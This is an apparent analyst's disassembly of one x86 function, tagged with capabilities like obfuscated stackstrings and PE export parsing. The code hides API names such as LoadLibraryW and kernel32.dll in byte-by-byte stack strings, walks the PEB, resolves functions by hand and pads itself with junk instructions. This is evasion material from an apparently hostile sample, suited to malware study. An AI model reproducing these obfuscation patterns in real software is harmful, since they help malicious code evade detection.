Function at 0x404fc9
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
add eax, 0x7400
pop eax
push esi
call 0x404cde
add byte [ebx + 0x3a], cl
cmp dword [ebx + 0x4f], ecx
inc ecx
aas
dec ebp
add esp, 4
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x404cff
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
push eax
add esp, 4
or edi, 0x170bf
add edi, 0xa64b
sub edi, 0x18048
pop edi
push esi
call 0x404d25
add byte [ecx], bh
xor al, 0x48
push eax
dec esi
cmp eax, dword [edx - 0x7d]
les eax, [esi + ebx*2]
push ecx
add ecx, 0x11c80
pop ecx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x404d79
push ecx
sub ecx, 0x9208
sub ecx, 0x13b3c
pop ecx
push edi
push edx
add esp, 4
sub edi, 0x6442
call 0x404d68
add byte [esi + 0x3b], cl
inc ebp
xor al, 0x4c
xor edi, dword [eax]
add esp, 4
pop edi
push edx
add edx, 0x174b5
pop edx
jmp 0x404fa7
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ebx
call 0x404da0
add byte [eax + ecx*2], dh
cmp bh, byte [edx]
dec edi
xor edi, dword [ecx]
cmp esi, dword [esp + eax*2]
add esp, 4
pop ebx
push ebx
jmp 0x404dae
sub ebx, 0x11726
or ebx, 0x16c96
or ebx, 0x141df
pop ebx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x404e28
push eax
push eax
add esp, 4
add eax, 0x9504
xor eax, 0x12503
jmp 0x404dfe
pop eax
push ecx
push eax
add esp, 4
and ecx, 0x9081
sub ecx, 0xaf0c
xor ecx, 0x4ec2
pop ecx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x404f59
cmp dword [ebp - 0xc10], 0
jle 0x404f4d
push ecx
xor ecx, 0x65f5
xor ecx, 0x172c
add ecx, 0xbe34
pop ecx
push eax
push ecx
add esp, 4
call 0x404e5d
add byte [edi], bh
cmp byte [ebx + 0x3d], al
aaa
inc ebp
dec ecx
push eax
inc ebx
add esp, 4
or eax, 0x7fe4
pop eax
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x404ee9
push edi
push edi
add esp, 4
xor edi, 0xc912
or edi, 0x104cb
add edi, 0xb47c
pop edi
push edi
and edi, 0x149af
add edi, 0x10916
sub edi, 0xb7dd
or edi, 0xfff6
pop edi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x404ed1
mov dword [ebp - 0x14cc], 1
jmp 0x404edb
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x404f4d
push eax
call 0x404ef6
add byte [esi], dh
inc ebp
dec edx
inc ecx
cmp byte [ebx], dh
add esp, 4
jmp 0x404efe
pop eax
push ebx
add ebx, 0xb9e1
and ebx, 0x13e4e
or ebx, 0x5c39
pop ebx
push edi
and edi, 0x2931
pop edi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x404e28
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x404fa2
push esi
push edx
add esp, 4
call 0x404f76
add byte [ecx + 0x4e], al
dec ebx
xor ecx, dword ss:[edx + 0x3b]
aas
add esp, 4
xor esi, 0x1749e
pop esi
push eax
and eax, 0xa0d7
sub eax, 0x15f9d
sub eax, 0x4424
pop eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x404fe3
jmp 0x404cf0
push ecx
push ecx
add esp, 4
xor ecx, 0xd120
pop ecx
push ebx
xor ebx, 0xce95
call 0x404fc9
add byte [ebp + 0x4c], al
dec ebp
cmp al, byte [ebp + 0x34]
aaa
inc esi
cmp al, 0x83
les eax, [ecx + eax*4]
retf
push ecx
push ebx
add esp, 4
sub ecx, 0x13377
sub ecx, 0x384a
jmp 0x404ffb
or ecx, 0x11318
pop ecx
push ecx
push eax
add esp, 4
jmp 0x40500e
sub ecx, 0xcd20
pop ecx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ecx
push ecx
add esp, 4
or ecx, 0x124f8
xor ecx, 0x8d8b
or ecx, 0xb7f8
and ecx, 0x7841
pop ecx
push esi
jmp 0x405091
jmp 0x40509a
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edx
push ebx
add esp, 4
xor edx, 0x877f
pop edx
push esi
push ecx
add esp, 4
and esi, 0x14b66
jmp 0x405152
jmp 0x405159
pop esi
push ebx
push edx
add esp, 4
add ebx, 0xb16b
pop ebx
push eax
or eax, 0x9933
pop eax
push edi
push edi
add esp, 4
or edi, 0x130e2
xor edi, 0x12e53
pop edi
push esi
push ecx
add esp, 4
add esi, 0x11dfc
and esi, 0x9915
xor esi, 0xdd8c
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edi
add edi, 0xa845
add edi, 0x1835a
pop edi
push eax
and eax, 0x45d1
jmp 0x4051da
pop eax
push eax
jmp 0x4051e5
sub eax, 0xf3c3
or eax, 0x1ffe
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x40520a
mov dword [ebp - 0x2e0], 0
jmp 0x4054c6
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edx
push esi
add esp, 4
or edx, 0x16cab
and edx, 0xc65
or edx, 0x11349
pop edx
push ebx
xor ebx, 0x17f29
or ebx, 0xf9ad
or ebx, 0x16330
or ebx, 0x3ccb
pop ebx
cmp dword [ebp - 0xc20], 0
jne 0x405266
mov dword [ebp - 0x2e0], 0
jmp 0x4054c6
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ecx
xor ecx, 0x14b06
or ecx, 0x1d0d
pop ecx
push ecx
push esi
add esp, 4
jmp 0x40528b
jmp 0x405294
call 0x4052a0
add byte [ebp + 0x34], al
inc esi
dec edx
dec ebp
inc ecx
add esp, 4
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push eax
push edi
add esp, 4
call 0x4052e3
add byte [ebp + 0x3e], al
inc eax
dec esp
xor al, 0x45
add esp, 4
call 0x4052f3
add byte [0x5042324c], dh
cmp eax, 0x4c48345
sub eax, 0x12837
and eax, 0xdf2f
pop eax
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edx
push edx
add esp, 4
and edx, 0x835e
and edx, 0x8f2
pop edx
push eax
jmp 0x405377
add eax, 0x4658
and eax, 0xc523
pop eax
push esi
jmp 0x40538e
pop esi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x4053b2
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x405415
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4052d1
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4052d1
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x4053ff
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x405409
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x40545e
push ebx
xor ebx, 0xf1ce
and ebx, 0x47ed
and ebx, 0xa843
pop ebx
push edx
push edi
add esp, 4
xor edx, 0x11e3
add edx, 0x14bc6
sub edx, 0x727
and edx, 0x8962
pop edx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x4054c6
push ebx
and ebx, 0xf750
xor ebx, 0x1760
pop ebx
push edi
sub edi, 0x1c34
xor edi, 0x9ab1
pop edi
push ebx
push ebx
add esp, 4
call 0x40548c
add byte [eax + 0x41], dl
cmp dl, byte ss:[eax + 0x40]
dec eax
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x4054bc
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x405272
mov dword [ebp - 0x2e0], 0
push ebx
xor ebx, 0x5d4
pop ebx
push esi
push edi
add esp, 4
call 0x4054e2
add byte [edi + 0x4b], cl
inc esi
inc ecx
xor esi, dword [esi]
dec eax
aas
inc ecx
add esp, 4
call 0x4054f4
add byte [ebx], bh
push eax
dec esi
inc edx
xor edi, dword [edx]
dec esp
cmp eax, dword [edi - 0x7d]
les eax, [esi + ebx*2]
cmp dword [ebp - 0x2e0], 0
jne 0x405e11
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
push esi
add esp, 4
xor ebx, 0x165cb
jmp 0x4055b2
and ebx, 0xe5b7
or ebx, 0x8489
pop ebx
push esi
add esi, 0x6821
jmp 0x4055cf
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
push ecx
add esp, 4
add ecx, 0x12714
xor ecx, 0xa64d
xor ecx, 0xc48a
pop ecx
push ecx
push edi
add esp, 4
add ecx, 0xdc0d
add ecx, 0xd762
pop ecx
push ebx
add ebx, 0x1570c
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x40569c
mov dword [ebp - 0x6ec], 0
jmp 0x405958
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edx
sub edx, 0x7198
or edx, 0x9228
sub edx, 0x126b7
pop edx
push eax
push ecx
add esp, 4
or eax, 0x16fd5
pop eax
push esi
push edx
add esp, 4
or esi, 0x4c83
jmp 0x4056df
pop esi
cmp dword [ebp - 0xc2c], 0
jne 0x4056f8
mov dword [ebp - 0x6ec], 0
jmp 0x405958
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ecx
sub ecx, 0x48b1
or ecx, 0x12963
pop ecx
push eax
xor eax, 0x445d
call 0x405726
add byte [edx], bh
dec ecx
xor eax, 0x83474138
les eax, [ecx + eax*4]
enter 0xffffffffffffbdd5, 0
add byte [ecx + 0x4447f0], al
add byte [eax - 0x73], bl
xchg ebp, eax
xor al, 0xe9
invalid
push ecx
push edi
add esp, 4
and ecx, 0x15ff4
pop ecx
push ecx
xor ecx, 0x11876
or ecx, 0x2dd5
pop ecx
push esi
push ebx
add esp, 4
add esi, 0x5460
sub esi, 0xbdb0
xor esi, 0x1671f
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x4059d4
push edi
push eax
add esp, 4
jmp 0x40599e
pop edi
push ebx
push ecx
add esp, 4
and ebx, 0x14563
xor ebx, 0x14edf
pop ebx
push eax
xor eax, 0xf92b
or eax, 0x8b5e
xor eax, 0xc7bd
pop eax
mov dword [ebp - 0x738], 0
jmp 0x4064fb
push ebx
or ebx, 0xda63
pop ebx
push edi
or edi, 0x9b96
call 0x4059f1
add byte [edx + 0x4f], al
inc eax
inc edx
xor al, byte [ebx + 0x45]
aas
add esp, 4
sub edi, 0x149bb
pop edi
push edx
jmp 0x405a05
pop edx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x405a45
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x405d36
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x405a6d
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x405d36
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x405a9f
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x405ac4
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x405d36
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x405b1e
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x405d2a
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x405b8e
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x405c40
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x405c40
push ecx
push edi
add esp, 4
call 0x405bd0
add byte [ebp + 0x48], cl
dec esp
xor eax, 0x4b343a3a
xor al, byte [edx - 0x7d]
les eax, [ecx + eax*4]
jmp 0x418405
push eax
push ebx
add esp, 4
and eax, 0x10b93
xor eax, 0x7c9c
sub eax, 0x57a4
pop eax
push esi
sub esi, 0x143ac
call 0x405c6e
add byte [esi], bh
inc eax
dec esp
dec esi
inc edi
dec ecx
dec esp
dec ecx
aas
add esp, 4
pop esi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x405c9f
mov dword [ebp - 0xc30], 0
jmp 0x405d0e
push eax
xor eax, 0x93d6
xor eax, 0xfec8
xor eax, 0x7d3c
pop eax
push ebx
push esi
add esp, 4
sub ebx, 0x874e
or ebx, 0x12dd5
pop ebx
push ebx
push edi
add esp, 4
sub ebx, 0x16d14
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x405d04
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x405d0e
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x405d25
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x405d36
jmp 0x405b0f
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
sub al, byte [edi]
pop es
or cl, byte [ecx + 0x43]
cmp bl, byte [edi + 0x5a]
pop ebp
mov cl, bl
or ecx, dword [eax + 0x7a306f2]
pop es
mov dl, ch
scasb al, byte es:[edi]
mov cl, 7
pop es
invalid